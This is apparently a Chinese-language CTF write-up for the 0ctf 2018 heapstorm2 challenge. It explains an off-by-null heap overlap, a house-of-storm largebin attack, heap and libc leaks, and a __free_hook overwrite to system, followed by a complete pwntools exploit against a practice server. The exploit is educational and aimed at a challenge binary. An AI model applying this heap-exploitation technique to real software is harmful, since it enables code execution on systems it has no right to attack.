程序
很早以前就想把这题做了,但是感觉特别麻烦就一直拖着了,今日参考了一位师傅然后解决。

程序先是禁用了 fastbin,让你和 mmap 了一段内存,并往该内存中读取了一串随机数,然后进行一个简单的赋值,接着通过一个 for 循环将接下来用到的存放 ptr 和 size 的地方进行了异或操作:


最终是如下效果:

然后是添加堆块功能:

利用 calloc 分配,会清空原堆块的内容,这就需要 overlap 的时候对其中的 chunk header 等进行恢复。
update 功能中存在 off by null 漏洞:

view 功能当满足 if 条件时才能进行输出:

delete 功能正常。
利用限制和条件
- libc 2.23
- 不能使用 fastbin,size 无限制
- calloc 分配
- 程序中存在 off by null 漏洞
- 可以直接编辑
利用思路
- 首先是通过 chunk shrink 构造 overlap
alloc(0x18) #0
alloc(0x508) #1
alloc(0x18) #2
update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #3
alloc(0x508) #4
alloc(0x18) #5
update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #6
free(1) # leave right pre_size in #2
update(0, 'a'*(0x18 - 12)) # triger off by null -> shrink #1
alloc(0x18) #1
alloc(0x4d8) #7 split unsorted bin
free(1)
free(2) # consolidate chunk, overlap #7(inuse) (in unsorted bin)
alloc(0x38) #1 overlap chunk #7 head
alloc(0x4e8) #2 #7(inuse) overlap the #2(inuse) head

然后同样的方法将下面的几个 chunk 构造 overlap。
要注意的是,最后 alloc 的时候要区别于 #1 的大小,这样切割后剩下的 chunk 会和 #2 不同大小为接下来的攻击进行准备:
alloc(0x48) #4 overlap chunk #8 .unsorted bin rest chunk size: 0x4e0
# and #8 overlap the rest chunk in unsorted bin
- 先将 #2 放入 unsorted bin,此时链表中存在两个 chunk,alloc chunk 时进行遍历,将 size 不合适的 chunk 放入对应的 bin 中,所以原剩余的 chunk 进入 largebin,然后再将刚 alloc 的 chunk free,重新进入 unsorted bin:
free(2) # get into unsorted bin
alloc(0x4e8) # the rest chunk(size=0x4e0) get into largebin
free(2) # get into unsorted bin
- 因为是 calloc 分配所以需要恢复清除的 #2.header,接下来的操作参考我之前的一篇笔记(house of storm 部分)
storage = 0x13370000 + 0x800 # heap_manaege 处
fake_chunk = storage - 0x20
p1 = p64(0)*2 + p64(0) + p64(0x4f1) # #2.size
p1 += p64(0) + p64(fake_chunk) # #2.bk
update(7, p1)
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk
# to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the
# faked chunk, using misalignment tricks
update(8, p2)
- 当堆地址为 0x56 开头时,即可 alloc 成功:
try:
# if the heap address starts with "0x56", you win
alloc(0x48) #2
sleep(0.5)
except EOFError:
# otherwise crash and try again
p.close()
continue
- 因为 view 功能需要满足条件,然后可以直接输出 heap_manege 中对应 chunk 指针的内存,而此时我们已经申请到了此处,所以可以通过 update 该 chunk 达到修改对应 chunk 的指针的目的,由于 libc 指针存放在某一堆块中,所以需要先泄漏堆地址,然后通过堆地址来索引存放 libc 地址的内存,完成泄漏:
st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) # meet the condition
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) +
p64(storage-0x20+3) + p64(8) # set ptr -> heap_addr(fake chunk previously forged)
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) +
p64(heap+0x10) + p64(8) # the chunk_addr which has libc_addr
满足 view 条件:

get heap_addr:


get libc_addr:


- 最后控制指针指向 __free_hook,修改为 system,free("/bin/sh\x00") 的 chunk get shell。
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) +
p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\x00'
修改 free_hook 并 getshell

完整exp
from pwn import *
import sys
context.log_level = "debug"
elf = ELF("./0ctf_2018_heapstorm2")
if sys.argv[1] == "p":
p = process("./0ctf_2018_heapstorm2")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc = elf.libc
else:
p = remote("node3.buuoj.cn",29770)
libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.23-64.so")
DEBUG = 0
if DEBUG:
gdb.attach(p,
'''
b *0x08048935
c
''')
def dbg():
gdb.attach(p)
pause()
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
rc = lambda num :p.recv(num)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
info = lambda tag, addr :log.info(tag + " -> " + hex(addr))
ia = lambda :p.interactive()
menu = "Command: "
def cmd(idx):
ru(menu)
sl(str(idx))
def alloc(size):
cmd(1)
ru("Size: ")
sl(str(size))
def update(idx, content):
cmd(2)
ru("Index: ")
sl(str(idx))
ru("Size: ")
sl(str(len(content)))
ru("Content: ")
se(content)
def free(idx):
cmd(3)
ru("Index: ")
sl(str(idx))
def view(idx):
cmd(4)
ru("Index: ")
sl(str(idx))
m = ru("Command: ")
pos1 = m.find(']: ') + len(']: ')
pos2 = m.find('\n1. ')
return m[pos1:pos2]
def pwn():
while True:
p = remote("node3.buuoj.cn",29770)
libc = ELF("/home/mtb0tx/share/ctf-pwn/libc/libc-2.23-64.so")
alloc(0x18) #0
alloc(0x508) #1
alloc(0x18) #2
update(1, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #3
alloc(0x508) #4
alloc(0x18) #5
update(4, 'h'*0x4f0 + p64(0x500)) #set fake prev_size
alloc(0x18) #6
free(1) # leave right pre_size in #2
update(0, 'a'*(0x18 - 12)) # triger off by null -> shrink #1
alloc(0x18) #1
alloc(0x4d8) #7
free(1)
free(2) # overlap #7 (in unsorted bin)
alloc(0x38) #1 overlap chunk #7 head
alloc(0x4e8) #2 #7 overlap the #2 head
# same way
free(4)
update(3, 'b'*(0x18 - 12))
alloc(0x18) #4
alloc(0x4d8) #8
free(4)
free(5)
alloc(0x48) #4 overlap chunk #8 .unsorted bin rest chunk size: 0x4e0
# and #8 overlap the rest chunk in unsorted bin
free(2) # get into unsorted bin
alloc(0x4e8) # the rest chunk(size=0x4e0) get into largebin
free(2) # get into unsorted bin
storage = 0x13370000 + 0x800
fake_chunk = storage - 0x20
p1 = p64(0)*2 + p64(0) + p64(0x4f1) # #2.size
p1 += p64(0) + p64(fake_chunk) # #2.bk
update(7, p1)
p2 = p64(0)*4 + p64(0) + p64(0x4e1) #size
p2 += p64(0) + p64(fake_chunk+8) #bk, for creating the "bk" of the faked chunk to avoid crashing when unlinking from unsorted bin
p2 += p64(0) + p64(fake_chunk-0x18-5) #bk_nextsize, for creating the "size" of the faked chunk, using misalignment tricks
update(8, p2)
try:
# if the heap address starts with "0x56", you win
alloc(0x48) #2
sleep(0.5)
except EOFError:
# otherwise crash and try again
p.close()
continue
st = p64(0)*2 + p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) # set list[idx = 0].ptr = storage
# update(2, st)
# ru("Command: ")
sl(str(2))
ru("Index: ")
sl(str(2))
ru("Size: ")
sl(str(len(st)))
ru("Content: ")
se(st)
# set list[idx = 1].ptr = storage-0x20+3(unsorted bin heap_addr) list[idx = 1].size = 0x8
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(storage-0x20+3) + p64(8)
update(0, st) #
leak = view(1)
heap = u64(leak)
print ('heap: %x' % heap)
sleep(0.5)
# set list[idx = 1].ptr = heap + 0x10(main_arena + 0x58) list[idx = 1].size = 0x8
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(heap+0x10) + p64(8)
# update(0, st)
sl(str(2))
ru("Index: ")
sl(str(0))
ru("Size: ")
sl(str(len(st)))
ru("Content: ")
se(st)
leak = view(1)
sleep(0.5)
unsorted_bin = u64(leak)
main_arena = unsorted_bin - 0x58
libc_base = main_arena - 0x10 - libc.symbols['__malloc_hook']
print ('libc_base: %x' % libc_base)
# libc_system = libc_base + 0x3f480
# free_hook = libc_base + 0x39b788
system = libc_base + libc.symbols['system']
free_hook = libc_base + libc.symbols['__free_hook']
st = p64(0) + p64(0) + p64(0) + p64(0x13377331) + p64(storage) + p64(0x1000) + p64(free_hook) + p64(0x100) + p64(storage+0x50) + p64(0x100) + '/bin/sh\x00'
# update(0, st)
sl(str(2))
ru("Index: ")
sl(str(0))
ru("Size: ")
sl(str(len(st)))
ru("Content: ")
se(st)
# dbg()
update(1, p64(system))
sleep(0.5)
sl('3')
ru('Index: ')
sl('%d' % 2)
break
if __name__ == "__main__":
pwn()
ia()
1765

被折叠的 条评论
为什么被折叠?



